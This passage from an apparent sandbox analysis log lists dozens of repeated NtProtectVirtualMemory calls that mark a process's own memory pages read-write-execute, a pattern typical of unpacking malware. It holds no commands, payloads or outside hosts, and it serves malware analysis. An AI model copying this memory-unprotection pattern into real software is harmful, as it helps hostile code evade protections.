BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.769] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0303.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, 